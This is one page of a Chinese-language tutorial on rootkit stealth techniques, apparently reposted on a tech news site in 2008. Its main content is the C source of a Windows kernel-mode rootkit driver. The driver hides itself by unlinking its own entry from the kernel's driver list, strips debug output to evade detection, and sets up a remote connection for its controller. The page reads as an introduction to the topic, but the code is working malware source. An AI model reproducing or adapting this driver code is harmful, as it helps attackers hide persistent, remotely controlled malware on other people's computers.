CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 安全技巧

Rootkit隐形技术入门

作者: 宇文,  出处:51CTO.com , 责任编辑: 韩博颖, 
2008-03-24 09:28
  在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

  上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:  

// Invisible
  #include "ntddk.h"
  #include "Invisible.h"
  #include "fileManager.h"
  #include "configManager.h"
  // 全局变量
  ULONG majorVersion;
  ULONG minorVersion;
  //当进行free build时,将其注释掉,以防被检测到
  VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
  {
  DbgPrint("comint16: OnUnload called.");
  }
  NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
  theRegistryPath )
  {
  DRIVER_DATA* driverData;
  //取得操作系统的版本
  PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
  // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
  // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
  // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
  // Minor = 1: Windows XP
  // Minor = 2: Windows Server 2003
  if ( majorVersion == 5 && minorVersion == 2 )
  {
  DbgPrint("comint16: Running on Windows 2003");
  }
  else if ( majorVersion == 5 && minorVersion == 1 )
  {
  DbgPrint("comint16: Running on Windows XP");
  }
  else if ( majorVersion == 5 && minorVersion == 0 )
  {
  DbgPrint("comint16: Running on Windows 2000");
  }
  else if ( majorVersion == 4 && minorVersion == 0 )
  {
  DbgPrint("comint16: Running on Windows NT 4.0");
  }
  else
  {
  DbgPrint("comint16: Running on unknown system");
  }
  // 隐藏该驱动程序
  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
  if( driverData != NULL )
  {
  // 将本驱动程序的相应目录项从项驱动程序目录中拆下来
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
  }
  // 允许卸载本驱动程序
  pDriverObject->DriverUnload = OnUnload;
  // 为本Rootkit的控制器配置连接
  if( !NT_SUCCESS( Configure() ) )
  {
  DbgPrint("comint16: Could not configure remote connection.\n");
  return STATUS_UNSUCCESSFUL;
  }
  return STATUS_SUCCESS;
  }
  
共10页。 9 1 2 3 4 5 6 7 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i